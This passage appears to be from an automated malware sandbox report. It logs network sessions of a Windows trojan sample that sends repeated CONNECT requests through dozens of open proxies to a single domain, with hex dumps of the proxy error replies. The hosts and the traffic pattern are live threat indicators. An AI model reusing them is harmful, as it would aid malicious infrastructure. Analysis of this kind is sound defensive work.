PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of
Feb 23, 2024 14:28:42.339051008 CET	294	IN	Data Raw: 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeverythingyou

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
994	192.168.2.8	53157	185.162.230.178	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.021935940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.109334946 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:29 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
995	192.168.2.8	52756	27.75.149.169	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.054290056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
996	192.168.2.8	53124	103.113.71.230	1081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.063112020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
997	192.168.2.8	52532	107.181.168.145	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.075984955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
998	192.168.2.8	53107	27.65.116.243	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.132122993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
999	192.168.2.8	53112	47.243.205.1	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.193043947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1000	192.168.2.8	53113	47.242.15.120	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.205912113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1001	192.168.2.8	53115	43.133.80.236	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.209503889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1002	192.168.2.8	53114	171.247.98.90	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.209897995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1003	192.168.2.8	53158	45.138.87.238	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.214191914 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1004	192.168.2.8	49823	96.36.50.99	39593	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.250757933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1005	192.168.2.8	52826	171.247.241.157	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.250757933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1006	192.168.2.8	53178	185.101.16.52	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.251110077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1007	192.168.2.8	52988	14.97.48.44	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.255420923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1008	192.168.2.8	53135	223.113.80.158	9091	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.255434036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.641558886 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Fri, 23 Feb 2024 13:28:38 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1009	192.168.2.8	52838	181.78.11.217	999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.289067984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.356494904 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1010	192.168.2.8	53148	178.128.113.118	23128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.289248943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.991872072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.491225958 CET	536	IN	HTTP/1.1 502 Bad Gateway Server: squid Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:28:30 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3597 X-Squid-Error: ERR_CONNECT_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" CONTENT="text/html; charset=utf-8"><title>ERROR: The r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1011	192.168.2.8	52158	103.230.126.123	57821	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.320653915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.382558107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.383358955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1012	192.168.2.8	53146	221.2.84.42	10800	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.321098089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1013	192.168.2.8	49848	162.240.75.37	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.328208923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.397924900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.385113955 CET	1286	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:28:33 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>500 Internal Server Error</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-rea
Feb 23, 2024 14:28:34.385180950 CET	1286	IN	Data Raw: 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e Data Ascii: son { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; backg
Feb 23, 2024 14:28:34.385373116 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 65 61 6b 3a Data Ascii: font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align: ce
Feb 23, 2024 14:28:34.385381937 CET	1286	IN	Data Raw: 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 Data Ascii: info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0; m
Feb 23, 2024 14:28:34.385457039 CET	1286	IN	Data Raw: 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 44 6a 31 78 64 65 76 4e 6e 62 55 33 56 46 66 54 45 4c 2f 57 33 33 70 66 48 33 31 63 Data Ascii: F+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGSD6bxI0RZSw3uuF0YjQHepjMxHmd9
Feb 23, 2024 14:28:34.385466099 CET	1286	IN	Data Raw: 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 59 37 70 34 38 35 45 53 41 56 6d 75 6c 64 76 7a 53 54 4b 77 32 66 71 48 53 47 4d 35 68 42 57 31 49 55 49 30 66 2f 4c 64 Data Ascii: yMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGECjUABhPLMdT/uKL0RIQ8DzYOKJu98V006LbSIkvB
Feb 23, 2024 14:28:34.385526896 CET	1032	IN	Data Raw: 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 74 68 2b 64 2b 70 68 63 69 38 46 4a 66 31 66 77 61 70 69 34 34 72 46 70 66 71 54 5a 41 6e 57 2b 4a 46 52 47 33 6b 66 39 34 5a 2b 73 53 71 64 52 31 55 49 69 Data Ascii: fBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hXRDDRzdwHZ/5D2hjjght3Mb5y1NINq+beZBu8d84657wPYfN8pZBc
Feb 23, 2024 14:28:34.385644913 CET	1286	IN	Data Raw: 35 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 73 70 61 6e Data Ascii: 500</span> <span class="status-reason">Internal Server Error</span> </section> <section class="contact-info"> Please forward this error screen to heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 14:28:34.385767937 CET	500	IN	Data Raw: 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 66 6f 6f 74 65 72 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 Data Ascii: /div> </section> <footer> <div class="container"> <a href="http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=500referral" target="cpanel" title="cPanel, Inc.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1014	192.168.2.8	49759	128.199.104.190	41354	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.404484987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.398061037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1015	192.168.2.8	53179	103.217.217.190	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.439057112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.907609940 CET	202	IN	HTTP/1.0 403 Forbidden Content-Length: 812 Content-Type: text/html Date: Fri, 23 Feb 2024 13:28:29 GMT Expires: Fri, 23 Feb 2024 13:28:29 GMT Server: Mikrotik HttpProxy Proxy-Connection: close
Feb 23, 2024 14:28:30.950608969 CET	202	IN	HTTP/1.0 403 Forbidden Content-Length: 812 Content-Type: text/html Date: Fri, 23 Feb 2024 13:28:29 GMT Expires: Fri, 23 Feb 2024 13:28:29 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1016	192.168.2.8	49752	202.146.228.254	8088	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.462786913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.585453987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.585834026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.658399105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1017	192.168.2.8	49827	83.149.249.81	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.465918064 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
